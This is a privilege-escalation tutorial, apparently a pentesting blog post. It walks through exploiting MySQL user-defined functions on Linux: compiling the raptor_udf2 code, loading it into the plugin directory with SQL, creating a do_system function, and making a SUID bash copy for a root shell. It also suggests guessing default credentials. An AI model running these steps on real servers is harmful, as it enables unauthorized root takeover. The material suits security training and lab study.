Linux Privilege Escalation – Exploiting User-Defined Functions
Introduction
User-Defined Functions in MySQL are used to extend the functionality by adding external code that will work the same as inbuilt functions. Certain versions of MySQL are affected by vulnerabilities that could allow attackers with database root access to execute code in the context of the MySQL process, which is often root, and escalate privileges.
Identifying the Vulnerability
The first thing to check is whether MySQL is running with root privileges, which can be done with the following command:
ps aux | grep mysql
Next, finding the running MySQL version will reveal whether it may be affected by a privilege escalation vulnerability:
mysql -V
mysql -u root -p -e 'select @@version;'
This version of MySQL is affected by a vulnerability that allows users to run user-defined functions to execute commands in the context of MySQL, which in this case is root.
Finally, access to MySQL as the root user is required, this could be obtained by finding credentials in database connection files used by web applications present on the server or by trying blank or default credentials such as root, and toor:
Exploitation
The code to create a user-defined function that can be used to exploit this vulnerability can be mirrored from Exploit DB, and it then has to be compiled into a shared object file:
gcc -g -c 1518.c -o raptor_udf2.o -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
It can then be transferred to the target host using the Python Simple HTTP Server and Wget:
From within MySQL, the following commands can be used to create a new table containing the path to the shared object, copying the same file under /usr/lib/mysql/plugin and creating a “do_system” function that will
use mysql;
create table foo(line blob);
insert into foo values(load_file('<path to UDF file>'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/udf_file_name.so';
create function do_system returns integer soname 'udf_file_name.so';
If the plugin directory used in the MySQL instance is not the default one, the following command can be used to display the current plugin directory, from within MySQL:
show variables like '%plugin%';
The “select do_system” statement can then be used to execute commands as root:
select do_system('<command>');
The same function can be used to create a SUID copy of the /bin/bash binary, which when executed with the -p flag, which allows to execute binaries as the owner of it, will grant root access to the host:
select do_system('cp /bin/bash /tmp/stef; chmod +xs /tmp/stef');
If MySQL displays an error mentioning the plugin size is close to zero, simply copy the static object file into the MySQL plugins folder using Bash and then execute the “create function” query as done in the steps above to create the user-defined function.
If the code for the user-defined function shown earlier does not work, Metasploit and SQLMap also come with pre-compiled functions that can be used to exploit this vulnerability:
This attack works on both Linux and Windows with minimal differences.
Conclusion
User-defined functions in MySQL can be great to add additional functionality to your MySQL instance and automate certain processes, although if vulnerable this could allow for attackers to fully compromise your server.